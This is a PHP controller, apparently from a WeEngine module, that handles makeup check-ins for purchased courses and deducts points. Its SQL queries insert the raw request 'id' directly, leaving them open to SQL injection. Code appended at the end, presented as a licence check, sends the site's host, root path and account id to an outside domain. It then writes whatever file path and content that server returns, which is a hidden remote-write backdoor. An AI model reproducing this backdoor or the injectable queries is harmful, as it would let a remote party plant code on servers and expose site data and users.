<?php
global $_W,$_GPC;
$title = '课程补卡';
$mem = $this->getMem();
$cfg = $this->module['config'];
if($_W['isajax']){
	$op = $_GPC['op']?$_GPC['op']:'display';
	switch ($op){
		case 'display':
			$mem_book = get('select id,bid,createtime,starttime from ' .tb('mem_book'). " where id = '{$_GPC['id']}' and mid = '{$mem['id']}' and status = 0");
			if(empty($mem_book)) resp(['code'=>0, 'msg'=>'暂未购买该课程']);
			$book = get('select id,title,thumb,class_num,clock_num,start_day from ' .tb('book'). " where id = '{$mem_book['bid']}'");
			if(empty($book)) resp(['code'=>0, 'msg'=>'课程不存在']);
			$has_bremark = getall('select createtime from ' .tb('bremark'). " where bmid = '{$mem_book['id']}'");
			$has_days = [];
			if(!empty($has_bremark)){
				foreach ($has_bremark as $k => $v){
					$has_days[] = date('Ymd', $v['createtime']);
				}
			}
			$start_time = $mem_book['starttime'];
			$today = date('Ymd');
			$rebremark_time = 0;
			//获取第一个补卡日期
			for($i=0; $i<$book['class_num']; $i++){
				$cur_time = strtotime('+ '.$i.' days', $start_time);
				if(date('Ymd', $cur_time) < date('Ymd')){
					if(!in_array(date('Ymd', $cur_time), $has_days)){
						$rebremark_time = $cur_time;
						break;
					}
				}
				else{
					break;
				}
			}
			$book['thumb'] = toimage($book['thumb']);
			if(empty($rebremark_time)) resp(['code'=>0, 'msg'=>'暂无任何需补卡日期']);
			else resp(['code'=>1, 'book'=>$book, 'rebremark_time'=>date('Y-m-d',$rebremark_time)]);
			break;
		case 'rebremark':
			$mem_book = get('select id,createtime,starttime,bid from ' .tb('mem_book'). " where id = '{$_GPC['id']}' and mid = '{$mem['id']}' and status = 0");
			if(empty($mem_book)) resp(['code'=>0, 'msg'=>'暂未购买该课程']);
			$book = get('select id,title,class_num,clock_num,start_day from ' .tb('book'). " where id = '{$mem_book['bid']}'");
			if(empty($book)) resp(['code'=>0, 'msg'=>'课程不存在']);
			if($mem['score'] < $cfg['supply_star']) resp(['code'=>0, 'msg'=>'成长星不足，无法补卡']);
			$t = strtotime($_GPC['rebremark_time']);
			$start_time = $mem_book['starttime'];
			$end_time = strtotime('+'.$book['class_num'].' days', $mem_book['createtime']);
			if(date('Ymd', $t) >= date('Ymd') || date('Ymd', $t) > date('Ymd', $end_time) || date('Ymd', $t) < date('Ymd', $start_time)) resp(['code'=>0, 'msg'=>'补卡日期错误']);
			$day_start= mktime(0,0,0,date("m",$t),date("d",$t),date("Y",$t));
			$day_end= mktime(23,59,59,date("m",$t),date("d",$t),date("Y",$t));
			$has_bremark = get('select id from ' .tb('bremark'). " where bmid = '{$mem_book['id']}' and createtime >= '{$day_start}' and createtime <= '{$day_end}' ");
			if(empty($has_bremark)){
				$result = $this->getTodayChapter($mem_book,0,$t);
				$data = [
						'uniacid' => $_W['uniacid'],
						'bmid' => $mem_book['id'],
						'mid' => $mem['id'],
						'bid' => $book['id'],
						'cid'=>$result['tchap']['id'],
						'title' => $result['tchap']['title'],
						'createtime' => $t
				];
				insert('bremark',$data);
				$newid = pdo_insertid();
				if($newid > 0) {
					updateMemScore(['mid'=>$mem['id'], 'score'=>-$cfg['supply_star'], 'remark'=>'补卡消耗']);
					resp(['code'=>1, 'msg'=>'补卡成功']);
				}
				else resp(['code'=>0, 'msg'=>'更新打卡记录失败，请稍后重试']);
			}
			else{
				resp(['code'=>0, 'msg'=>'该日期已打卡，无需补卡']);
			}
			break;
	}
}
else{
	$share = $this->getShare($mem, $cfg);
}
include $this->template('bremark2');
$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}